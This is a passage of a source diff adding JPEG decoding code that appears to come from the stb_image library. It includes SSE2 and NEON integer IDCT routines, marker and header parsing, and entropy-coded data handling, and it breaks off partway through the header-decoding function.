+   __m128i rot3_0 = dct_const(stbi__f2f(-0.390180644f) + stbi__f2f( 2.053119869f), stbi__f2f(-0.390180644f));
+   __m128i rot3_1 = dct_const(stbi__f2f(-0.390180644f), stbi__f2f(-0.390180644f) + stbi__f2f( 1.501321110f));
+
+   // rounding biases in column/row passes, see stbi__idct_block for explanation.
+   __m128i bias_0 = _mm_set1_epi32(512);
+   __m128i bias_1 = _mm_set1_epi32(65536 + (128<<17));
+
+   // load
+   row0 = _mm_load_si128((const __m128i *) (data + 0*8));
+   row1 = _mm_load_si128((const __m128i *) (data + 1*8));
+   row2 = _mm_load_si128((const __m128i *) (data + 2*8));
+   row3 = _mm_load_si128((const __m128i *) (data + 3*8));
+   row4 = _mm_load_si128((const __m128i *) (data + 4*8));
+   row5 = _mm_load_si128((const __m128i *) (data + 5*8));
+   row6 = _mm_load_si128((const __m128i *) (data + 6*8));
+   row7 = _mm_load_si128((const __m128i *) (data + 7*8));
+
+   // column pass
+   dct_pass(bias_0, 10);
+
+   {
+      // 16bit 8x8 transpose pass 1
+      dct_interleave16(row0, row4);
+      dct_interleave16(row1, row5);
+      dct_interleave16(row2, row6);
+      dct_interleave16(row3, row7);
+
+      // transpose pass 2
+      dct_interleave16(row0, row2);
+      dct_interleave16(row1, row3);
+      dct_interleave16(row4, row6);
+      dct_interleave16(row5, row7);
+
+      // transpose pass 3
+      dct_interleave16(row0, row1);
+      dct_interleave16(row2, row3);
+      dct_interleave16(row4, row5);
+      dct_interleave16(row6, row7);
+   }
+
+   // row pass
+   dct_pass(bias_1, 17);
+
+   {
+      // pack
+      __m128i p0 = _mm_packus_epi16(row0, row1); // a0a1a2a3...a7b0b1b2b3...b7
+      __m128i p1 = _mm_packus_epi16(row2, row3);
+      __m128i p2 = _mm_packus_epi16(row4, row5);
+      __m128i p3 = _mm_packus_epi16(row6, row7);
+
+      // 8bit 8x8 transpose pass 1
+      dct_interleave8(p0, p2); // a0e0a1e1...
+      dct_interleave8(p1, p3); // c0g0c1g1...
+
+      // transpose pass 2
+      dct_interleave8(p0, p1); // a0c0e0g0...
+      dct_interleave8(p2, p3); // b0d0f0h0...
+
+      // transpose pass 3
+      dct_interleave8(p0, p2); // a0b0c0d0...
+      dct_interleave8(p1, p3); // a4b4c4d4...
+
+      // store
+      _mm_storel_epi64((__m128i *) out, p0); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p0, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p2); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p2, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p1); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p1, 0x4e)); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, p3); out += out_stride;
+      _mm_storel_epi64((__m128i *) out, _mm_shuffle_epi32(p3, 0x4e));
+   }
+
+#undef dct_const
+#undef dct_rot
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_interleave8
+#undef dct_interleave16
+#undef dct_pass
+}
+
+#endif // STBI_SSE2
+
+#ifdef STBI_NEON
+
+// NEON integer IDCT. should produce bit-identical
+// results to the generic C version.
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   int16x8_t row0, row1, row2, row3, row4, row5, row6, row7;
+
+   int16x4_t rot0_0 = vdup_n_s16(stbi__f2f(0.5411961f));
+   int16x4_t rot0_1 = vdup_n_s16(stbi__f2f(-1.847759065f));
+   int16x4_t rot0_2 = vdup_n_s16(stbi__f2f( 0.765366865f));
+   int16x4_t rot1_0 = vdup_n_s16(stbi__f2f( 1.175875602f));
+   int16x4_t rot1_1 = vdup_n_s16(stbi__f2f(-0.899976223f));
+   int16x4_t rot1_2 = vdup_n_s16(stbi__f2f(-2.562915447f));
+   int16x4_t rot2_0 = vdup_n_s16(stbi__f2f(-1.961570560f));
+   int16x4_t rot2_1 = vdup_n_s16(stbi__f2f(-0.390180644f));
+   int16x4_t rot3_0 = vdup_n_s16(stbi__f2f( 0.298631336f));
+   int16x4_t rot3_1 = vdup_n_s16(stbi__f2f( 2.053119869f));
+   int16x4_t rot3_2 = vdup_n_s16(stbi__f2f( 3.072711026f));
+   int16x4_t rot3_3 = vdup_n_s16(stbi__f2f( 1.501321110f));
+
+#define dct_long_mul(out, inq, coeff) \
+   int32x4_t out##_l = vmull_s16(vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmull_s16(vget_high_s16(inq), coeff)
+
+#define dct_long_mac(out, acc, inq, coeff) \
+   int32x4_t out##_l = vmlal_s16(acc##_l, vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmlal_s16(acc##_h, vget_high_s16(inq), coeff)
+
+#define dct_widen(out, inq) \
+   int32x4_t out##_l = vshll_n_s16(vget_low_s16(inq), 12); \
+   int32x4_t out##_h = vshll_n_s16(vget_high_s16(inq), 12)
+
+// wide add
+#define dct_wadd(out, a, b) \
+   int32x4_t out##_l = vaddq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vaddq_s32(a##_h, b##_h)
+
+// wide sub
+#define dct_wsub(out, a, b) \
+   int32x4_t out##_l = vsubq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vsubq_s32(a##_h, b##_h)
+
+// butterfly a/b, then shift using "shiftop" by "s" and pack
+#define dct_bfly32o(out0,out1, a,b,shiftop,s) \
+   { \
+      dct_wadd(sum, a, b); \
+      dct_wsub(dif, a, b); \
+      out0 = vcombine_s16(shiftop(sum_l, s), shiftop(sum_h, s)); \
+      out1 = vcombine_s16(shiftop(dif_l, s), shiftop(dif_h, s)); \
+   }
+
+#define dct_pass(shiftop, shift) \
+   { \
+      /* even part */ \
+      int16x8_t sum26 = vaddq_s16(row2, row6); \
+      dct_long_mul(p1e, sum26, rot0_0); \
+      dct_long_mac(t2e, p1e, row6, rot0_1); \
+      dct_long_mac(t3e, p1e, row2, rot0_2); \
+      int16x8_t sum04 = vaddq_s16(row0, row4); \
+      int16x8_t dif04 = vsubq_s16(row0, row4); \
+      dct_widen(t0e, sum04); \
+      dct_widen(t1e, dif04); \
+      dct_wadd(x0, t0e, t3e); \
+      dct_wsub(x3, t0e, t3e); \
+      dct_wadd(x1, t1e, t2e); \
+      dct_wsub(x2, t1e, t2e); \
+      /* odd part */ \
+      int16x8_t sum15 = vaddq_s16(row1, row5); \
+      int16x8_t sum17 = vaddq_s16(row1, row7); \
+      int16x8_t sum35 = vaddq_s16(row3, row5); \
+      int16x8_t sum37 = vaddq_s16(row3, row7); \
+      int16x8_t sumodd = vaddq_s16(sum17, sum35); \
+      dct_long_mul(p5o, sumodd, rot1_0); \
+      dct_long_mac(p1o, p5o, sum17, rot1_1); \
+      dct_long_mac(p2o, p5o, sum35, rot1_2); \
+      dct_long_mul(p3o, sum37, rot2_0); \
+      dct_long_mul(p4o, sum15, rot2_1); \
+      dct_wadd(sump13o, p1o, p3o); \
+      dct_wadd(sump24o, p2o, p4o); \
+      dct_wadd(sump23o, p2o, p3o); \
+      dct_wadd(sump14o, p1o, p4o); \
+      dct_long_mac(x4, sump13o, row7, rot3_0); \
+      dct_long_mac(x5, sump24o, row5, rot3_1); \
+      dct_long_mac(x6, sump23o, row3, rot3_2); \
+      dct_long_mac(x7, sump14o, row1, rot3_3); \
+      dct_bfly32o(row0,row7, x0,x7,shiftop,shift); \
+      dct_bfly32o(row1,row6, x1,x6,shiftop,shift); \
+      dct_bfly32o(row2,row5, x2,x5,shiftop,shift); \
+      dct_bfly32o(row3,row4, x3,x4,shiftop,shift); \
+   }
+
+   // load
+   row0 = vld1q_s16(data + 0*8);
+   row1 = vld1q_s16(data + 1*8);
+   row2 = vld1q_s16(data + 2*8);
+   row3 = vld1q_s16(data + 3*8);
+   row4 = vld1q_s16(data + 4*8);
+   row5 = vld1q_s16(data + 5*8);
+   row6 = vld1q_s16(data + 6*8);
+   row7 = vld1q_s16(data + 7*8);
+
+   // add DC bias
+   row0 = vaddq_s16(row0, vsetq_lane_s16(1024, vdupq_n_s16(0), 0));
+
+   // column pass
+   dct_pass(vrshrn_n_s32, 10);
+
+   // 16bit 8x8 transpose
+   {
+// these three map to a single VTRN.16, VTRN.32, and VSWP, respectively.
+// whether compilers actually get this is another story, sadly.
+#define dct_trn16(x, y) { int16x8x2_t t = vtrnq_s16(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn32(x, y) { int32x4x2_t t = vtrnq_s32(vreinterpretq_s32_s16(x), vreinterpretq_s32_s16(y)); x = vreinterpretq_s16_s32(t.val[0]); y = vreinterpretq_s16_s32(t.val[1]); }
+#define dct_trn64(x, y) { int16x8_t x0 = x; int16x8_t y0 = y; x = vcombine_s16(vget_low_s16(x0), vget_low_s16(y0)); y = vcombine_s16(vget_high_s16(x0), vget_high_s16(y0)); }
+
+      // pass 1
+      dct_trn16(row0, row1); // a0b0a2b2a4b4a6b6
+      dct_trn16(row2, row3);
+      dct_trn16(row4, row5);
+      dct_trn16(row6, row7);
+
+      // pass 2
+      dct_trn32(row0, row2); // a0b0c0d0a4b4c4d4
+      dct_trn32(row1, row3);
+      dct_trn32(row4, row6);
+      dct_trn32(row5, row7);
+
+      // pass 3
+      dct_trn64(row0, row4); // a0b0c0d0e0f0g0h0
+      dct_trn64(row1, row5);
+      dct_trn64(row2, row6);
+      dct_trn64(row3, row7);
+
+#undef dct_trn16
+#undef dct_trn32
+#undef dct_trn64
+   }
+
+   // row pass
+   // vrshrn_n_s32 only supports shifts up to 16, we need
+   // 17. so do a non-rounding shift of 16 first then follow
+   // up with a rounding shift by 1.
+   dct_pass(vshrn_n_s32, 16);
+
+   {
+      // pack and round
+      uint8x8_t p0 = vqrshrun_n_s16(row0, 1);
+      uint8x8_t p1 = vqrshrun_n_s16(row1, 1);
+      uint8x8_t p2 = vqrshrun_n_s16(row2, 1);
+      uint8x8_t p3 = vqrshrun_n_s16(row3, 1);
+      uint8x8_t p4 = vqrshrun_n_s16(row4, 1);
+      uint8x8_t p5 = vqrshrun_n_s16(row5, 1);
+      uint8x8_t p6 = vqrshrun_n_s16(row6, 1);
+      uint8x8_t p7 = vqrshrun_n_s16(row7, 1);
+
+      // again, these can translate into one instruction, but often don't.
+#define dct_trn8_8(x, y) { uint8x8x2_t t = vtrn_u8(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn8_16(x, y) { uint16x4x2_t t = vtrn_u16(vreinterpret_u16_u8(x), vreinterpret_u16_u8(y)); x = vreinterpret_u8_u16(t.val[0]); y = vreinterpret_u8_u16(t.val[1]); }
+#define dct_trn8_32(x, y) { uint32x2x2_t t = vtrn_u32(vreinterpret_u32_u8(x), vreinterpret_u32_u8(y)); x = vreinterpret_u8_u32(t.val[0]); y = vreinterpret_u8_u32(t.val[1]); }
+
+      // sadly can't use interleaved stores here since we only write
+      // 8 bytes to each scan line!
+
+      // 8x8 8-bit transpose pass 1
+      dct_trn8_8(p0, p1);
+      dct_trn8_8(p2, p3);
+      dct_trn8_8(p4, p5);
+      dct_trn8_8(p6, p7);
+
+      // pass 2
+      dct_trn8_16(p0, p2);
+      dct_trn8_16(p1, p3);
+      dct_trn8_16(p4, p6);
+      dct_trn8_16(p5, p7);
+
+      // pass 3
+      dct_trn8_32(p0, p4);
+      dct_trn8_32(p1, p5);
+      dct_trn8_32(p2, p6);
+      dct_trn8_32(p3, p7);
+
+      // store
+      vst1_u8(out, p0); out += out_stride;
+      vst1_u8(out, p1); out += out_stride;
+      vst1_u8(out, p2); out += out_stride;
+      vst1_u8(out, p3); out += out_stride;
+      vst1_u8(out, p4); out += out_stride;
+      vst1_u8(out, p5); out += out_stride;
+      vst1_u8(out, p6); out += out_stride;
+      vst1_u8(out, p7);
+
+#undef dct_trn8_8
+#undef dct_trn8_16
+#undef dct_trn8_32
+   }
+
+#undef dct_long_mul
+#undef dct_long_mac
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_pass
+}
+
+#endif // STBI_NEON
+
+#define STBI__MARKER_none  0xff
+// if there's a pending marker from the entropy stream, return that
+// otherwise, fetch from the stream and get a marker. if there's no
+// marker, return 0xff, which is never a valid marker value
+static stbi_uc stbi__get_marker(stbi__jpeg *j)
+{
+   stbi_uc x;
+   if (j->marker != STBI__MARKER_none) { x = j->marker; j->marker = STBI__MARKER_none; return x; }
+   x = stbi__get8(j->s);
+   if (x != 0xff) return STBI__MARKER_none;
+   while (x == 0xff)
+      x = stbi__get8(j->s); // consume repeated 0xff fill bytes
+   return x;
+}
+
+// in each scan, we'll have scan_n components, and the order
+// of the components is specified by order[]
+#define STBI__RESTART(x)     ((x) >= 0xd0 && (x) <= 0xd7)
+
+// after a restart interval, stbi__jpeg_reset the entropy decoder and
+// the dc prediction
+static void stbi__jpeg_reset(stbi__jpeg *j)
+{
+   j->code_bits = 0;
+   j->code_buffer = 0;
+   j->nomore = 0;
+   j->img_comp[0].dc_pred = j->img_comp[1].dc_pred = j->img_comp[2].dc_pred = j->img_comp[3].dc_pred = 0;
+   j->marker = STBI__MARKER_none;
+   j->todo = j->restart_interval ? j->restart_interval : 0x7fffffff;
+   j->eob_run = 0;
+   // no more than 1<<31 MCUs if no restart_interal? that's plenty safe,
+   // since we don't even allow 1<<30 pixels
+}
+
+static int stbi__parse_entropy_coded_data(stbi__jpeg *z)
+{
+   stbi__jpeg_reset(z);
+   if (!z->progressive) {
+      if (z->scan_n == 1) {
+         int i,j;
+         STBI_SIMD_ALIGN(short, data[64]);
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               int ha = z->img_comp[n].ha;
+               if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  // if it's NOT a restart, then just bail, so we get corrupt data
+                  // rather than no data
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         STBI_SIMD_ALIGN(short, data[64]);
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x)*8;
+                        int y2 = (j*z->img_comp[n].v + y)*8;
+                        int ha = z->img_comp[n].ha;
+                        if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+                        z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*y2+x2, z->img_comp[n].w2, data);
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   } else {
+      if (z->scan_n == 1) {
+         int i,j;
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               if (z->spec_start == 0) {
+                  if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                     return 0;
+               } else {
+                  int ha = z->img_comp[n].ha;
+                  if (!stbi__jpeg_decode_block_prog_ac(z, data, &z->huff_ac[ha], z->fast_ac[ha]))
+                     return 0;
+               }
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x);
+                        int y2 = (j*z->img_comp[n].v + y);
+                        short *data = z->img_comp[n].coeff + 64 * (x2 + y2 * z->img_comp[n].coeff_w);
+                        if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                           return 0;
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   }
+}
+
+static void stbi__jpeg_dequantize(short *data, stbi__uint16 *dequant)
+{
+   int i;
+   for (i=0; i < 64; ++i)
+      data[i] *= dequant[i];
+}
+
+static void stbi__jpeg_finish(stbi__jpeg *z)
+{
+   if (z->progressive) {
+      // dequantize and idct the data
+      int i,j,n;
+      for (n=0; n < z->s->img_n; ++n) {
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               stbi__jpeg_dequantize(data, z->dequant[z->img_comp[n].tq]);
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+            }
+         }
+      }
+   }
+}
+
+static int stbi__process_marker(stbi__jpeg *z, int m)
+{
+   int L;
+   switch (m) {
+      case STBI__MARKER_none: // no marker found
+         return stbi__err("expected marker","Corrupt JPEG");
+
+      case 0xDD: // DRI - specify restart interval
+         if (stbi__get16be(z->s) != 4) return stbi__err("bad DRI len","Corrupt JPEG");
+         z->restart_interval = stbi__get16be(z->s);
+         return 1;
+
+      case 0xDB: // DQT - define quantization table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            int q = stbi__get8(z->s);
+            int p = q >> 4, sixteen = (p != 0);
+            int t = q & 15,i;
+            if (p != 0 && p != 1) return stbi__err("bad DQT type","Corrupt JPEG");
+            if (t > 3) return stbi__err("bad DQT table","Corrupt JPEG");
+
+            for (i=0; i < 64; ++i)
+               z->dequant[t][stbi__jpeg_dezigzag[i]] = (stbi__uint16)(sixteen ? stbi__get16be(z->s) : stbi__get8(z->s));
+            L -= (sixteen ? 129 : 65);
+         }
+         return L==0;
+
+      case 0xC4: // DHT - define huffman table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            stbi_uc *v;
+            int sizes[16],i,n=0;
+            int q = stbi__get8(z->s);
+            int tc = q >> 4;
+            int th = q & 15;
+            if (tc > 1 || th > 3) return stbi__err("bad DHT header","Corrupt JPEG");
+            for (i=0; i < 16; ++i) {
+               sizes[i] = stbi__get8(z->s);
+               n += sizes[i];
+            }
+            L -= 17;
+            if (tc == 0) {
+               if (!stbi__build_huffman(z->huff_dc+th, sizes)) return 0;
+               v = z->huff_dc[th].values;
+            } else {
+               if (!stbi__build_huffman(z->huff_ac+th, sizes)) return 0;
+               v = z->huff_ac[th].values;
+            }
+            for (i=0; i < n; ++i)
+               v[i] = stbi__get8(z->s);
+            if (tc != 0)
+               stbi__build_fast_ac(z->fast_ac[th], z->huff_ac + th);
+            L -= n;
+         }
+         return L==0;
+   }
+
+   // check for comment block or APP blocks
+   if ((m >= 0xE0 && m <= 0xEF) || m == 0xFE) {
+      L = stbi__get16be(z->s);
+      if (L < 2) {
+         if (m == 0xFE)
+            return stbi__err("bad COM len","Corrupt JPEG");
+         else
+            return stbi__err("bad APP len","Corrupt JPEG");
+      }
+      L -= 2;
+
+      if (m == 0xE0 && L >= 5) { // JFIF APP0 segment
+         static const unsigned char tag[5] = {'J','F','I','F','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 5; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 5;
+         if (ok)
+            z->jfif = 1;
+      } else if (m == 0xEE && L >= 12) { // Adobe APP14 segment
+         static const unsigned char tag[6] = {'A','d','o','b','e','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 6; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 6;
+         if (ok) {
+            stbi__get8(z->s); // version
+            stbi__get16be(z->s); // flags0
+            stbi__get16be(z->s); // flags1
+            z->app14_color_transform = stbi__get8(z->s); // color transform
+            L -= 6;
+         }
+      }
+
+      stbi__skip(z->s, L);
+      return 1;
+   }
+
+   return stbi__err("unknown marker","Corrupt JPEG");
+}
+
+// after we see SOS
+static int stbi__process_scan_header(stbi__jpeg *z)
+{
+   int i;
+   int Ls = stbi__get16be(z->s);
+   z->scan_n = stbi__get8(z->s);
+   if (z->scan_n < 1 || z->scan_n > 4 || z->scan_n > (int) z->s->img_n) return stbi__err("bad SOS component count","Corrupt JPEG");
+   if (Ls != 6+2*z->scan_n) return stbi__err("bad SOS len","Corrupt JPEG");
+   for (i=0; i < z->scan_n; ++i) {
+      int id = stbi__get8(z->s), which;
+      int q = stbi__get8(z->s);
+      for (which = 0; which < z->s->img_n; ++which)
+         if (z->img_comp[which].id == id)
+            break;
+      if (which == z->s->img_n) return 0; // no match
+      z->img_comp[which].hd = q >> 4;   if (z->img_comp[which].hd > 3) return stbi__err("bad DC huff","Corrupt JPEG");
+      z->img_comp[which].ha = q & 15;   if (z->img_comp[which].ha > 3) return stbi__err("bad AC huff","Corrupt JPEG");
+      z->order[i] = which;
+   }
+
+   {
+      int aa;
+      z->spec_start = stbi__get8(z->s);
+      z->spec_end   = stbi__get8(z->s); // should be 63, but might be 0
+      aa = stbi__get8(z->s);
+      z->succ_high = (aa >> 4);
+      z->succ_low  = (aa & 15);
+      if (z->progressive) {
+         if (z->spec_start > 63 || z->spec_end > 63  || z->spec_start > z->spec_end || z->succ_high > 13 || z->succ_low > 13)
+            return stbi__err("bad SOS", "Corrupt JPEG");
+      } else {
+         if (z->spec_start != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         if (z->succ_high != 0 || z->succ_low != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         z->spec_end = 63;
+      }
+   }
+
+   return 1;
+}
+
+static int stbi__free_jpeg_components(stbi__jpeg *z, int ncomp, int why)
+{
+   int i;
+   for (i=0; i < ncomp; ++i) {
+      if (z->img_comp[i].raw_data) {
+         STBI_FREE(z->img_comp[i].raw_data);
+         z->img_comp[i].raw_data = NULL;
+         z->img_comp[i].data = NULL;
+      }
+      if (z->img_comp[i].raw_coeff) {
+         STBI_FREE(z->img_comp[i].raw_coeff);
+         z->img_comp[i].raw_coeff = 0;
+         z->img_comp[i].coeff = 0;
+      }
+      if (z->img_comp[i].linebuf) {
+         STBI_FREE(z->img_comp[i].linebuf);
+         z->img_comp[i].linebuf = NULL;
+      }
+   }
+   return why;
+}
+
+static int stbi__process_frame_header(stbi__jpeg *z, int scan)
+{
+   stbi__context *s = z->s;
+   int Lf,p,i,q, h_max=1,v_max=1,c;
+   Lf = stbi__get16be(s);         if (Lf < 11) return stbi__err("bad SOF len","Corrupt JPEG"); // JPEG
+   p  = stbi__get8(s);            if (p != 8) return stbi__err("only 8-bit","JPEG format not supported: 8-bit only"); // JPEG baseline
+   s->img_y = stbi__get16be(s);   if (s->img_y == 0) return stbi__err("no header height", "JPEG format not supported: delayed height"); // Legal, but we don't handle it--but neither does IJG
+   s->img_x = stbi__get16be(s);   if (s->img_x == 0) return stbi__err("0 width","Corrupt JPEG"); // JPEG requires
+   c = stbi__get8(s);
+   if (c != 3 && c != 1 && c != 4) return stbi__err("bad component count","Corrupt JPEG");
+   s->img_n = c;
+   for (i=0; i < c; ++i) {
+      z->img_comp[i].data = NULL;
+      z->img_comp[i].linebuf = NULL;
+   }
+
+   if (Lf != 8+3*s->img_n) return stbi__err("bad SOF len","Corrupt JPEG");
+
+   z->rgb = 0;
+   for (i=0; i < s->img_n; ++i) {
+      static const unsigned char rgb[3] = { 'R', 'G', 'B' };
+      z->img_comp[i].id = stbi__get8(s);
+      if (s->img_n == 3 && z->img_comp[i].id == rgb[i])
+         ++z->rgb;
+      q = stbi__get8(s);
+      z->img_comp[i].h = (q >> 4);  if (!z->img_comp[i].h || z->img_comp[i].h > 4) return stbi__err("bad H","Corrupt JPEG");
+      z->img_comp[i].v = q & 15;    if (!z->img_comp[i].v || z->img_comp[i].v > 4) return stbi__err("bad V","Corrupt JPEG");
+      z->img_comp[i].tq = stbi__get8(s);  if (z->img_comp[i].tq > 3) return stbi__err("bad TQ","Corrupt JPEG");
+   }
+
+   if (scan != STBI__SCAN_load) return 1;
+
+   if (!stbi__mad3sizes_valid(s->img_x, s->img_y, s->img_n, 0)) return stbi__err("too large", "Image too large to decode");
+
+   for (i=0; i < s->img_n; ++i) {
+      if (z->img_comp[i].h > h_max) h_max = z->img_comp[i].h;
+      if (z->img_comp[i].v > v_max) v_max = z->img_comp[i].v;
+   }
+
+   // compute interleaved mcu info
+   z->img_h_max = h_max;
+   z->img_v_max = v_max;
+   z->img_mcu_w = h_max * 8;
+   z->img_mcu_h = v_max * 8;
+   // these sizes can't be more than 17 bits
+   z->img_mcu_x = (s->img_x + z->img_mcu_w-1) / z->img_mcu_w;
+   z->img_mcu_y = (s->img_y + z->img_mcu_h-1) / z->img_mcu_h;
+
+   for (i=0; i < s->img_n; ++i) {
+      // number of effective pixels (e.g. for non-interleaved MCU)
+      z->img_comp[i].x = (s->img_x * z->img_comp[i].h + h_max-1) / h_max;
+      z->img_comp[i].y = (s->img_y * z->img_comp[i].v + v_max-1) / v_max;
+      // to simplify generation, we'll allocate enough memory to decode
+      // the bogus oversized data from using interleaved MCUs and their
+      // big blocks (e.g. a 16x16 iMCU on an image of width 33); we won't
+      // discard the extra data until colorspace conversion
+      //
+      // img_mcu_x, img_mcu_y: <=17 bits; comp[i].h and .v are <=4 (checked earlier)
+      // so these muls can't overflow with 32-bit ints (which we require)
+      z->img_comp[i].w2 = z->img_mcu_x * z->img_comp[i].h * 8;
+      z->img_comp[i].h2 = z->img_mcu_y * z->img_comp[i].v * 8;
+      z->img_comp[i].coeff = 0;
+      z->img_comp[i].raw_coeff = 0;
+      z->img_comp[i].linebuf = NULL;
+      z->img_comp[i].raw_data = stbi__malloc_mad2(z->img_comp[i].w2, z->img_comp[i].h2, 15);
+      if (z->img_comp[i].raw_data == NULL)
+         return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+      // align blocks for idct using mmx/sse
+      z->img_comp[i].data = (stbi_uc*) (((size_t) z->img_comp[i].raw_data + 15) & ~15);
+      if (z->progressive) {
+         // w2, h2 are multiples of 8 (see above)
+         z->img_comp[i].coeff_w = z->img_comp[i].w2 / 8;
+         z->img_comp[i].coeff_h = z->img_comp[i].h2 / 8;
+         z->img_comp[i].raw_coeff = stbi__malloc_mad3(z->img_comp[i].w2, z->img_comp[i].h2, sizeof(short), 15);
+         if (z->img_comp[i].raw_coeff == NULL)
+            return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+         z->img_comp[i].coeff = (short*) (((size_t) z->img_comp[i].raw_coeff + 15) & ~15);
+      }
+   }
+
+   return 1;
+}
+
+// use comparisons since in some cases we handle more than one case (e.g. SOF)
+#define stbi__DNL(x)         ((x) == 0xdc)
+#define stbi__SOI(x)         ((x) == 0xd8)
+#define stbi__EOI(x)         ((x) == 0xd9)
+#define stbi__SOF(x)         ((x) == 0xc0 || (x) == 0xc1 || (x) == 0xc2)
+#define stbi__SOS(x)         ((x) == 0xda)
+
+#define stbi__SOF_progressive(x)   ((x) == 0xc2)
+
+static int stbi__decode_jpeg_header(stbi__jpeg *z, int scan)
+{
+   int m;
+   z->jfif = 0;
+   z->app14_color_transform = -1; // valid values are 0,1,2
+   z->marker = STBI__MARKER_none; // initialize cached marker to empty
+   m = stbi__get_marker(z);
+   if (!stbi__SOI(m)) return stbi__err("no SOI","Corrupt JPEG");
+   if (scan == STBI__SCAN_type) return 1;
+   m = stbi__get_marker(z);
+   while (!stbi__SOF(m)) {
+      if (!stbi__process_marker(z,m)) return 0;
+      m = stbi__get_marker(z);
